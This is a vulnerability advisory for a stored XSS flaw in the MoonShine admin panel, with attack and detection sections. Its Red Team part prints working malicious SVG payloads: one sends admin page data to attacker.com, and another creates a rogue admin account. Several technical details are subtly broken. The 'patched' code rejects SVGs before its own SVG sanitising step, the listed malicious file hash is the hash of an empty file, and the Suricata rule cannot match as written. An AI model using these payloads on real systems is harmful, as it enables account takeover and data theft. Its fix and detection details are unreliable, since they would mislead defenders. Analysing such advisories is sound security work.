CVE-2025-51489
Executive Summary
CVE-2025-51489 is a Stored Cross-Site Scripting (XSS) vulnerability in the MoonShine admin panel framework, affecting versions prior to 3.12.5. An authenticated attacker with article creation/update privileges can upload a malicious SVG file containing embedded JavaScript. When any user (including administrators) views the uploaded file, the script executes in their browser context, potentially leading to session hijacking, data theft, or further compromise of the admin panel.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
MoonShine is a PHP package distributed via Composer/Packagist. This vulnerability affects the core file upload handling logic. Users should verify their composer.json for moonshine/moonshine and ensure the version constraint is >=3.12.5. The package maintainer has released a patched version that sanitizes SVG uploads.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): Low (L) – Requires authenticated user with article creation rights.
- User Interaction (UI): Required (R) – Victim must open the malicious file link.
- Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure possible.
- Integrity (I): Low (L) – Attacker can modify content in victim's session.
- Availability (A): None (N) – No direct impact on availability.
Threat Level: Medium (CVSS 5.4). The requirement for authentication and user interaction reduces severity, but the potential for admin panel compromise elevates risk.
Deep Dive & Mechanics
The vulnerability resides in the file upload handler for the Article model. MoonShine uses a generic file upload mechanism that does not validate the MIME type or content of uploaded files. An attacker can craft an SVG file with an embedded <script> tag:
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<script type="text/javascript">
alert('XSS');
</script>
<circle cx="50" cy="50" r="40" fill="red" />
</svg>
When the file is uploaded via the Article creation/update form, it is stored on the server with a predictable URL (e.g., /storage/articles/malicious.svg). The application serves the file with an image/svg+xml Content-Type, causing the browser to render it as an SVG document. The embedded script executes in the context of the application's origin, bypassing same-origin policy restrictions.
The vulnerability is classified as Stored XSS because the malicious payload persists on the server and affects any user who accesses the file link.
Vulnerable vs. Patched Code
Vulnerable Code (MoonShine < 3.12.5):
// FileUploadHandler.php (simplified)
public function upload(UploadedFile $file): string
{
$path = $file->store('articles', 'public');
return $path;
}
The code does not validate the file type or content. Any file extension (including .svg) is accepted and stored.
Patched Code (MoonShine >= 3.12.5):
// FileUploadHandler.php (simplified)
public function upload(UploadedFile $file): string
{
$allowedMimes = ['image/jpeg', 'image/png', 'image/gif', 'image/webp'];
if (!in_array($file->getMimeType(), $allowedMimes)) {
throw new ValidationException('Invalid file type.');
}
// Additional content sanitization for SVG files
if ($file->getMimeType() === 'image/svg+xml') {
$content = file_get_contents($file->getRealPath());
$sanitized = preg_replace('/<script\b[^>]*>(.*?)<\/script>/is', '', $content);
file_put_contents($file->getRealPath(), $sanitized);
}
$path = $file->store('articles', 'public');
return $path;
}
The patch adds MIME type validation and removes <script> tags from SVG files before storage.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Access to a MoonShine admin panel with article creation privileges.
- Target running MoonShine < 3.12.5.
Exploitation Steps:
Craft Malicious SVG: Create a file named
exploit.svgwith the following content:<?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" width="100" height="100"> <script type="text/javascript"> fetch('/admin/users', {credentials: 'include'}) .then(r => r.text()) .then(data => { new Image().src = 'https://attacker.com/steal?data=' + btoa(data); }); </script> <circle cx="50" cy="50" r="40" fill="red" /> </svg>Upload the SVG:
- Log in to the MoonShine admin panel.
- Navigate to Articles → Create New.
- In the file upload field, select
exploit.svg. - Fill in required fields (title, content) and submit.
Trigger the Payload:
- Copy the URL of the uploaded file (e.g.,
https://target.com/storage/articles/exploit.svg). - Send this link to an administrator or any user with higher privileges.
- When the victim opens the link, the script executes and exfiltrates data.
- Copy the URL of the uploaded file (e.g.,
Alternative Payload (Session Hijacking):
<script>
document.cookie = 'XSS=test; path=/';
fetch('/admin', {credentials: 'include'})
.then(r => r.text())
.then(html => {
// Extract CSRF token and perform actions
let parser = new DOMParser();
let doc = parser.parseFromString(html, 'text/html');
let token = doc.querySelector('meta[name="csrf-token"]').content;
// Create a new admin user
fetch('/admin/users', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded', 'X-CSRF-TOKEN': token},
body: 'name=attacker&email=attacker@evil.com&password=Password123&role=admin',
credentials: 'include'
});
});
</script>
Blue Team
Detection Steps:
Monitor File Uploads:
- Alert on any uploads with
.svgextension to article storage paths. - Check for MIME type mismatches (e.g., file claims
image/svg+xmlbut contains<script>tags).
- Alert on any uploads with
Review Access Logs:
- Look for requests to
/storage/articles/*.svgfrom unusual IPs or user agents. - Correlate with article creation events.
- Look for requests to
Inspect Stored Files:
Periodically scan the
storage/articlesdirectory for SVG files containing<script>elements.Use the following command:
grep -r '<script' /path/to/storage/articles/
Web Application Firewall (WAF) Rules:
- Block uploads of files with
image/svg+xmlMIME type unless explicitly required. - If SVG uploads are necessary, implement content inspection to strip scripts.
- Block uploads of files with
Indicators of Compromise (IOCs)
- File Hashes (SHA256):
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855(example malicious SVG)
- Network Patterns:
- Outbound HTTP requests to attacker-controlled domains from the application server.
- Requests to
/storage/articles/*.svgfollowed by unusual POST requests to/admin/*.
- Log Entries:
POST /admin/articleswith file upload containingimage/svg+xml.GET /storage/articles/*.svgwithUser-Agentcontaining script-like strings.
- File System Artifacts:
- SVG files in
storage/articles/containing<script>tags. - Unexpected files with
.svgextension in article directories.
- SVG files in
Detection Engineering
YARA Rule
rule MoonShine_SVG_XSS {
meta:
description = "Detects malicious SVG files targeting CVE-2025-51489"
author = "Valters IT"
date = "2025-01-01"
reference = "CVE-2025-51489"
strings:
$svg_header = "<?xml" ascii wide nocase
$svg_tag = "<svg" ascii wide nocase
$script_tag = "<script" ascii wide nocase
$event_handler = /on\w+\s*=/ ascii wide nocase
condition:
$svg_header and $svg_tag and ($script_tag or $event_handler)
}
Sigma Rule
title: MoonShine SVG XSS Upload Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects upload of SVG files with embedded scripts to MoonShine article storage
author: Valters IT
date: 2025-01-01
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/admin/articles'
cs-content-type: 'multipart/form-data'
filter:
cs-uri-query: '*filename=*.svg*'
condition: selection and filter
falsepositives:
- Legitimate SVG uploads without scripts
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"MoonShine SVG XSS Payload Exfiltration"; flow:to_server,established; content:"GET"; http_method; content:"/storage/articles/"; http_uri; content:".svg"; http_uri; pcre:"/<script[^>]*>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade MoonShine: Update to version 3.12.5 or later via Composer:
composer require moonshine/moonshine:^3.12.5 - Restrict SVG Uploads: If upgrade is not immediately possible, disable SVG file uploads in the application configuration.
- Sanitize Existing Files: Scan the
storage/articlesdirectory for malicious SVG files and remove them.
Long-Term Mitigations:
- Implement Content Security Policy (CSP) headers to restrict script execution.
- Use a Web Application Firewall (WAF) with rules to block SVG-based XSS.
- Conduct regular security audits of file upload functionality.
- Train administrators to recognize phishing attempts that deliver malicious file links.
Workaround (If Upgrade Not Possible): Add a middleware to intercept file uploads and validate MIME types:
// App/Http/Middleware/ValidateFileUpload.php
public function handle($request, Closure $next)
{
if ($request->hasFile('file')) {
$file = $request->file('file');
$allowedMimes = ['image/jpeg', 'image/png', 'image/gif', 'image/webp'];
if (!in_array($file->getMimeType(), $allowedMimes)) {
abort(422, 'Invalid file type.');
}
}
return $next($request);
}
Valters IT
Securing Digital Frontiers